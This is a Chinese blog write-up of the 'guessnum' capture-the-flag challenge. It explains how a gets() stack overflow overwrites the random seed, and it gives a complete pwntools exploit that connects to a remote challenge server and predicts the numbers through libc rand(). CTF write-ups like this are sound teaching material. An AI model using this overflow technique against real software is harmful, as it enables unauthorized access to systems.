攻防世界(3):guessnum

第一步 checksec查壳

攻防世界(3):guessnum

ida分析,可发现执行sub_C3E()时可以得到flag

攻防世界(3):guessnum

于是我们想办法让程序执行到sub_C3E,需要连续猜对10次数字,我们发现程序通过seed生成随机数,如果能把seed覆盖为已知数,就很容易完成了,前面的gets刚好给我们覆盖的机会

攻防世界(3):guessnum

gets的地址是var_30

攻防世界(3):guessnum

查看栈,var_30存在栈帧中占20h,后跟着seed的值的确可覆盖

利用srand编写exp

#!/usr/bin/env python                                                                                                   
from pwn import *                                                                                                       
from ctypes import *

io = remote('111.200.241.244', 39237)

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6+1)
    io.recvuntil('number:')
    io.sendline(num)

io.interactive()
上一篇:移动web:图片切换(焦点图)


下一篇:linux 程序启动时 glibc 的调用流程